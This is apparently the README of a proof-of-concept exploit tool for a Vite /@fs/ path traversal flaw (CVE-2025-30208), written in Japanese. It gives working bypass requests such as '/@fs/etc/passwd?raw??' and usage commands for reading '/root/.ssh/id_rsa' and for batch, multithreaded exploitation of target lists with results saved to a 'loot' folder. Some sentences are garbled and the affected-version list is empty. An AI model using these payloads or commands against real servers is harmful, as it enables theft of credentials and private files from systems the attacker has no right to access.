
Vite /@fs/ Path Traversal(transformMiddleware内)の任意ファイル読み取り脆弱性(CVE-2025-30208)に対するエクスプロイトスクリプトのPoC。
Vite /@fs/ Path Traversal (CVE-2025-30208) の 任意のファイル読み取り 脆弱性のエクスプロイトスクリプトの PoC です。詳細な分析はこちらの記事をご参照ください。
以下のバージョン未満で脆弱性があります:
Vite は人気のオープンソースプロジェクトであり、Github や公式ウェブサイト から入手できます。開発モードでは特別なプレフィックス @fs を使用して、絶対ファイルパス への直接アクセスを許可しています:
GET /@fs/<absolute/path/to/file>
しかし、悪用を防ぐため、Vite は次のような設定を使用して @fs でアクセスできるものを制限しています:
server: {
fs: {
allow: [path.resolve(__dirname, 'src')]
}
}
したがって理論的には、許可されたディレクトリの外にあるファイル(/etc/passwd など)は、 のようなトリックを使ってもされるはずです。
../../../しかし、問題は Vite が URL を解析・チェックする方法(transformMiddleware ミドルウェア/関数経由)にあります。このミドルウェア/関数は ensureServingAccess(url, ...) を使用して、/@fs/ 経由のファイルリクエストが許可されているかどうかをチェックします。
しかし、攻撃者は以下のように URL に末尾のクエリ区切り文字を含むリクエストを作成する可能性があります:
GET /@fs/etc/passwd?raw??
GET /@fs/etc/passwd?raw&url
GET /@fs/etc/passwd?import&raw??
これらの形式は、不正なクエリ文字列がルートロジックに一致するため、正規表現フィルター(rawRE、urlRE)とセキュリティチェックをバイパスします。仕組みは次のとおりです:
/@fs/../../../etc/passwdraw??(意図的に不正な形式)? のような文字を除去または正規化しようとしますが、これはファイルパスが許可されているかどうかをチェックする前に行われます。つまり:
server.fs.allow チェックをバイパスします。/etc/passwd のような任意のファイルを読み取って返します。python3 poc.py [OPTIONS]
| フラグ/オプション | 説明 |
|---|---|
-u, --url | 単一ターゲット URL(例: example.com:5173) |
-f, --file | ターゲットリストを含むファイル(1行に1URL) |
-p, --path | 読み取るファイルシステムパス(デフォルト: /etc/passwd) |
-b, --bypass | ルート検証をバイパスするクエリ文字列(デフォルト: ?raw??) |
--proxy | プロキシ URL(例: http://127.0.0.1:8080) |
-o, --output | エクスプロイト結果の保存先ディレクトリ(デフォルト: results) |
-t, --threads | バッチモードのスレッド数(デフォルト: 10) |
-h, --help | ヘルプメッセージを表示して終了 |
単一ターゲットのエクスプロイト:
python3 cve-2025-30208.py -u example.com:5173
カスタム LFI パスで目的のファイルを漏洩する単一ターゲット:
python3 cve-2025-30208.py -u example.com:5173 -p '/root/.ssh/id_rsa'
複数ターゲットのバッチエクスプロイト:
python3 cve-2025-30208.py -f targets.txt
カスタムバイパスクエリ:
python3 cve-2025-30208.py -u example.com:5173 -b "?raw&url"
プロキシ(Burp Suite など)を使用:
python3 cve-2025-30208.py -u example.com:5173 --proxy http://127.0.0.1:8080
カスタム出力ディレクトリ:
python3 cve-2025-30208.py -u example.com:5173 -o ./loot
バッチモードでスレッド数を増やす:
python3 cve-2025-30208.py -f targets.txt -t 50